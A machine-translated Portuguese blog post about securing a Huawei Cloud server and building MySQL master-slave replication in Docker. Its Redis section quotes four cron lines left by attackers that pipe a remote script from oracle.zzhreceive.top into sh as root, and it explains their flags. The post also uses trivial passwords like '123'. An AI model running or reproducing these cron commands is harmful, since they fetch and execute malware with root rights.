Avaliação de instância do Huawei Cloud Yaoyun Server L | revisão de vulnerabilidade redis e solução de segurança de dados MySQL para construir um cluster mestre-escravo MySQL e configurações relacionadas

Insira a descrição da imagem aqui

Prefácio

Recentemente, a instância Huawei Cloud Yaoyun Server L foi lançada e também comprei uma para brincar. Durante esse período, encontrei uma situação em que o banco de dados MySQL foi atacado e os dados foram perdidos. Felizmente, tive vários backups e isso não aconteceu causar muitos danos; mais tarde, houve Depois de descobrir que o banco de dados Redis foi atacado, uma senha redis foi adicionada para resolver inicialmente o problema. Em suma, foram espancados severamente de diversas maneiras. . .

Este blog analisa a vulnerabilidade de acesso não autorizado do Redis, apresenta a construção do cluster mestre-escravo MySQL e configurações relacionadas

Insira a descrição da imagem aqui

A lista de outros artigos relacionados à avaliação de instância do Huawei Cloud Yaoyun Server L é a seguinte:

Insira a descrição da imagem aqui

liderar


1. Uma breve revisão da segurança de dados redis; 2.
O processo e as precauções da construção mestre-escravo do MySQL;
3. Sincronização mestre-escravo e a configuração de permissões somente leitura;

Insira a descrição da imagem aqui

1. Questões de segurança de dados Redis

1. Vestígios deixados por ataques anteriores

Insira a descrição da imagem aqui

Insira a descrição da imagem aqui

*/2 * * * * root cd1 -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | sh
*/3 * * * * root wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh | sh
*/4 * * * * root curl -fsSL http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh
*/5 * * * * root wd1 -q -O- http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh

2. Interpretação de comandos de ataque

root wget -q -O-é um comando válido. Ele usa wgetcomandos para baixar um arquivo e enviá-lo para a saída padrão (stdout).

  • rootIndica que o comando é executado como usuário root.
  • wgetÉ uma ferramenta de linha de comando para baixar arquivos da Internet.
  • -qopção indica modo silencioso, que não exibe o progresso do download e outras informações.
  • -O-A opção significa enviar o arquivo baixado para a saída padrão (stdout).

Este comando normalmente é usado para baixar um arquivo e passá-lo para outros comandos para processamento ou para redirecionar o conteúdo do arquivo para outro lugar para salvá-lo ou processá-lo.

root curl -fsSLé um comando válido. Ele usa curlcomandos para baixar um arquivo de um URL especificado e enviá-lo para a saída padrão (stdout).

  • rootIndica que o comando é executado como usuário root.
  • curlÉ uma ferramenta de linha de comando para obter dados da rede.
  • -fsSLsão algumas opções, os significados específicos são os seguintes:
    • -fA opção significa que se o servidor retornar um código de status de erro ao baixar o arquivo, nenhuma mensagem de erro será exibida.
    • -sopção indica modo silencioso, o que significa que nenhum progresso ou outras informações são exibidas.
    • -Sopção significa exibir uma mensagem de erro quando ocorre um erro.
    • -LA opção significa seguir o redirecionamento, ou seja, caso o servidor retorne uma resposta de redirecionamento, salte automaticamente para a nova URL.

Este comando normalmente é usado para baixar um arquivo e passá-lo para outros comandos para processamento ou para redirecionar o conteúdo do arquivo para outro lugar para salvá-lo ou processá-lo.

2. Construção local mestre-escravo MySQL

Como o estabelecimento do MySQL master-slave é muito mais complicado do que o estabelecimento do Redis master-slave, várias tentativas anteriores falharam e, finalmente, o estabelecimento foi bem-sucedido. Portanto, apresentaremos primeiro como construir o master-slave em um ambiente virtual local máquina.

Insira a descrição da imagem aqui

1. Monte e inicie o MySQL principal

execução do docker

  • -i: Execute o contêiner em modo interativo
  • -t: reatribuir um pseudo terminal de entrada ao contêiner
  • --name: nome do contêiner
  • --privileged: Defina permissões públicas do contêiner (o padrão é verdadeiro)
  • -p: porta mapeada porta linux: porta interna do contêiner (a porta padrão do mysql é 3306)
  • -v: Mapeamento de pastas/arquivos montados em Linux e caminhos dentro do contêiner
  • -e: variáveis ​​de ambiente do contêiner (definir nome de usuário e senha padrão do mysql)
  • -d: executa o contêiner em segundo plano e retorna o ID do contêiner
docker run -it \
--name mysql_3316 \
--privileged \
-p 3316:3306 \
-v /usr/local/software/mysql/3316/conf/my.cnf:/etc/mysql/my.cnf \
-v /usr/local/software/mysql/3316/data:/var/lib/mysql \
-v /usr/local/software/mysql/3316/mysql-files:/var/lib/mysql-files \
-e MYSQL_ROOT_PASSWORD=123 \
-d mysql

localização no contêiner do arquivo de log do mysql

Insira a descrição da imagem aqui

Status principal do MySQL, nome do arquivo de log do binlog e localização

Insira a descrição da imagem aqui

O pré-requisito para a configuração mestre-escravo é que o arquivo de log binlog esteja habilitado, que é habilitado por padrão para MySQL 8 e superior.

mysql> show variables like 'log_%';
+----------------------------------------+----------------------------------------+
| Variable_name                          | Value                                  |
+----------------------------------------+----------------------------------------+
| log_bin                                | ON                                     |
| log_bin_basename                       | /var/lib/mysql/binlog                  |
| log_bin_index                          | /var/lib/mysql/binlog.index            |
| log_bin_trust_function_creators        | OFF                                    |
| log_bin_use_v1_row_events              | OFF                                    |
| log_error                              | stderr                                 |
| log_error_services                     | log_filter_internal; log_sink_internal |
| log_error_suppression_list             |                                        |
| log_error_verbosity                    | 2                                      |
| log_output                             | FILE                                   |
| log_queries_not_using_indexes          | OFF                                    |
| log_raw                                | OFF                                    |
| log_replica_updates                    | ON                                     |
| log_slave_updates                      | ON                                     |
| log_slow_admin_statements              | OFF                                    |
| log_slow_extra                         | OFF                                    |
| log_slow_replica_statements            | OFF                                    |
| log_slow_slave_statements              | OFF                                    |
| log_statements_unsafe_for_binlog       | ON                                     |
| log_throttle_queries_not_using_indexes | 0                                      |
| log_timestamps                         | UTC                                    |
+----------------------------------------+----------------------------------------+
21 rows in set (0.00 sec)

mysql> 

Você também pode assistir no Navicat

Insira a descrição da imagem aqui

2. Modifique o arquivo de configuração principal

server_id=200
log_bin=mysql-bin
binlog_format=row

Os principais itens de configuração são os seguintes

[mysqld]

pid-file   =/var/run/mysqld/mysqld.pid
socket     =/var/run/mysqld/mysqld.sock
datadir    =/var/lib/mysql

secure-file-priv = NULL
default-authentication-plugin=mysql_native_password

# customer config here
!includedir /etc/mysql/conf.d/

server_id = 200

Verifique: Se a configuração de inicialização de montagem entra em vigor

Insira a descrição da imagem aqui

mysql> show master status;
+---------------+----------+--------------+------------------+-------------------+
| File          | Position | Binlog_Do_DB | Binlog_Ignore_DB | Executed_Gtid_Set |
+---------------+----------+--------------+------------------+-------------------+
| binlog.000002 |      157 |              |                  |                   |
+---------------+----------+--------------+------------------+-------------------+
1 row in set (0.00 sec)

mysql> show variables like 'server_id';
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| server_id     | 200   |
+---------------+-------+
1 row in set (0.00 sec)

Modifique o nome do arquivo de log binlog novamente

Insira a descrição da imagem aqui

server_id = 209
log_bin=mysql-bin
binlog-format=row

Indica que a montagem foi iniciada com sucesso.

Insira a descrição da imagem aqui

mysql> show master status;
+------------------+----------+--------------+------------------+-------------------+
| File             | Position | Binlog_Do_DB | Binlog_Ignore_DB | Executed_Gtid_Set |
+------------------+----------+--------------+------------------+-------------------+
| mysql-bin.000001 |      157 |              |                  |                   |
+------------------+----------+--------------+------------------+-------------------+
1 row in set (0.00 sec)

mysql> show variables like 'server_id';
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| server_id     | 209   |
+---------------+-------+
1 row in set (0.01 sec)

-- 1.创建从用户slave
CREATE USER 'slave'@'%' IDENTIFIED WITH mysql_native_password by '567';

-- 2.给用户授权
GRANT replication slave,replication client ON *.* TO 'slave'@'%';

-- 3.应用权限
FLUSH PRIVILEGES;

3. Crie um usuário escravo no MySQL principal

Crie um usuário escravo

Insira a descrição da imagem aqui

Adicionado método de criptografia para usuários escravos

Insira a descrição da imagem aqui

Mais tarde, configure os parâmetros necessários de

Insira a descrição da imagem aqui

Todas as operações nesta parte

Insira a descrição da imagem aqui

4. Monte a inicialização do MySQL

Arquivo de configuração de

server_id = 211
log_bin=mysql-slave01-bin
relay_log=pet-relay-bin
read_only=1

Insira a descrição da imagem aqui

docker run -it \
--name mysql_3320 \
--privileged \
-p 3320:3306 \
-v /usr/local/software/mysql/3320/conf/my.cnf:/etc/mysql/my.cnf \
-v /usr/local/software/mysql/3320/data:/var/lib/mysql \
-v /usr/local/software/mysql/3320/mysql-files:/var/lib/mysql-files \
-e MYSQL_ROOT_PASSWORD=123 \
-d mysql

porta aberta

firewall-cmd --zone=public --add-port=3320/tcp --permanent

firewall-cmd --reload

firewall-cmd --zone=public --list-ports

5. Estabeleça uma relação senhor-escravo na salvação do escravo

Número da porta interna do mestre

[root@localhost ~]# docker inspect mysql_3316 | grep IPA
            "SecondaryIPAddresses": null,
            "IPAddress": "172.17.0.3",
                    "IPAMConfig": null,
                    "IPAddress": "172.17.0.3",
[root@localhost ~]# 

Configuração relacionada ao log binário principal

Insira a descrição da imagem aqui

change master to master_host='172.17.0.3',
master_user='slave',master_password='567',
MASTER_LOG_FILE='mysql-bin.000001',
MASTER_LOG_POS=856

Configurar parâmetros

Insira a descrição da imagem aqui

6. Verifique o status mestre-escravo no escravo

Insira a descrição da imagem aqui

mysql> change master to master_host='172.17.0.3',
    -> master_user='slave',master_password='567',
    -> MASTER_LOG_FILE='mysql-bin.000001',
    -> MASTER_LOG_POS=856;
Query OK, 0 rows affected, 8 warnings (0.02 sec)

mysql> start slave;
Query OK, 0 rows affected, 1 warning (0.01 sec)

mysql> show slave status \G;
*************************** 1. row ***************************
               Slave_IO_State: Waiting for source to send event
                  Master_Host: 172.17.0.3
                  Master_User: slave
                  Master_Port: 3306
                Connect_Retry: 60
              Master_Log_File: mysql-bin.000001
          Read_Master_Log_Pos: 856
               Relay_Log_File: eafddc4554f6-relay-bin.000002
                Relay_Log_Pos: 326
        Relay_Master_Log_File: mysql-bin.000001
             Slave_IO_Running: Yes
            Slave_SQL_Running: Yes

3. Construa master-slave na Huawei Cloud

1. Prepare pastas mestre-escravo e carregue arquivos de configuração

Insira a descrição da imagem aqui

Carregue o arquivo de configuração em anexo para a pasta conf

Insira a descrição da imagem aqui

2. Abra a porta de resposta

firewall-cmd --zone=public --add-port=3316/tcp --permanent
firewall-cmd --reload
firewall-cmd --zone=public --list-ports

Insira a descrição da imagem aqui

3. Monte e comece a executar o master master

Comando de inicialização de montagem

docker run -it \
--name mysql_3316 \
--privileged \
-p 3316:3306 \
-v /usr/local/software/mysql1/3316/conf/my.cnf:/etc/mysql/my.cnf \
-v /usr/local/software/mysql1/3316/data:/var/lib/mysql \
-v /usr/local/software/mysql1/3316/mysql-files:/var/lib/mysql-files \
-e MYSQL_ROOT_PASSWORD=123 \
-d mysql

Verifique se o binlog está habilitado

Insira a descrição da imagem aqui

Adicionar configuração no arquivo de configuração my.cnf

Insira a descrição da imagem aqui

4. Crie um usuário escravo no mestre mestre

CREATE USER 'slave'@'%' IDENTIFIED WITH mysql_native_password by '567';
GRANT replication slave,replication client ON *.* TO 'slave'@'%';
FLUSH PRIVILEGES;

Insira a descrição da imagem aqui

5. Monte automaticamente do escravo

docker run -it \
--name mysql_3320 \
--privileged \
-p 3320:3306 \
-v /usr/local/software/mysql1/3320/conf/my.cnf:/etc/mysql/my.cnf \
-v /usr/local/software/mysql1/3320/data:/var/lib/mysql \
-v /usr/local/software/mysql1/3320/mysql-files:/var/lib/mysql-files \
-e MYSQL_ROOT_PASSWORD=123 \
-d mysql

Abra a porta

Insira a descrição da imagem aqui

6. Estabeleça uma relação mestre-escravo no escravo

Obtenha o endereço IP interno do mestre

root@hcss-ecs-52b8:~# docker inspect mysql_3316 | grep IPA
            "SecondaryIPAddresses": null,
            "IPAddress": "172.17.0.3",
                    "IPAMConfig": null,
                    "IPAddress": "172.17.0.3",

Obtenha os parâmetros relevantes do mestre

show variables like 'log_%';
show master status;
show variables like 'server_id';

Insira a descrição da imagem aqui

Estabeleça uma relação mestre-escravo

change master to master_host='172.17.0.3',
master_user='slave',master_password='567',
MASTER_LOG_FILE='mysql-bin.000001',
MASTER_LOG_POS=841

Insira a descrição da imagem aqui

Lembre-se de começar do escravo

Insira a descrição da imagem aqui

4. Alguns problemas e suas soluções

1. Resolvendo o problema de dados fora de sincronia

-- 如果主从同步失效,在不能使用的从输入命令
STOP slave;
RESET slave;
START slave;

Insira a descrição da imagem aqui

2. Restringir permissões de escravo: Crie um usuário escravo somente leitura

CREATE USER 'rdb'@'%' IDENTIFIED WITH mysql_native_password by '123';
GRANT SELECT ON *.* TO 'rdb'@'%';
FLUSH PRIVILEGES;

Crie um usuário rdb somente leitura

Insira a descrição da imagem aqui

Ao efetuar login como usuário somente leitura rdb na Navicat, o comando de operação foi rejeitado.

Insira a descrição da imagem aqui

Anexo arquivo de configuração my.cnf

# For advice on how to change settings please see
# http://dev.mysql.com/doc/refman/8.0/en/server-configuration-defaults.html


#
# Remove leading # and set to the amount of RAM for the most important data
# cache in MySQL. Start at 70% of total RAM for dedicated server, else 10%.
# innodb_buffer_pool_size = 128M
#
# Remove leading # to turn on a very important data integrity option: logging
# changes to the binary log between backups.
# log_bin
#
# Remove leading # to set options mainly useful for reporting servers.
# The server defaults are faster for transactions and fast SELECTs.
# Adjust sizes as needed, experiment to find the optimal values.
# join_buffer_size = 128M
# sort_buffer_size = 2M
# read_rnd_buffer_size = 2M

# Remove leading # to revert to previous value for default_authentication_plugin,
# this will increase compatibility with older clients. For background, see:
# https://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html#sysvar_default_authentication_plugin
# default-authentication-plugin=mysql_native_password


# skip-host-cache
# skip-name-resolve

# socket=/var/run/mysqld/mysqld.sock
# secure-file-priv=/var/lib/mysql-files
# user=mysql

[mysqld]

pid-file   =/var/run/mysqld/mysqld.pid
socket     =/var/run/mysqld/mysqld.sock
datadir    =/var/lib/mysql

secure-file-priv = NULL
default-authentication-plugin=mysql_native_password

# customer config here
!includedir /etc/mysql/conf.d/

server_id = 200

Resumir

1. Uma breve revisão da segurança de dados redis; 2.
O processo e as precauções da construção mestre-escravo do MySQL;
3. Sincronização mestre-escravo e a configuração de permissões somente leitura;

Acho que você gosta

Origin blog.csdn.net/Pireley/article/details/132955411
Recomendado
Clasificación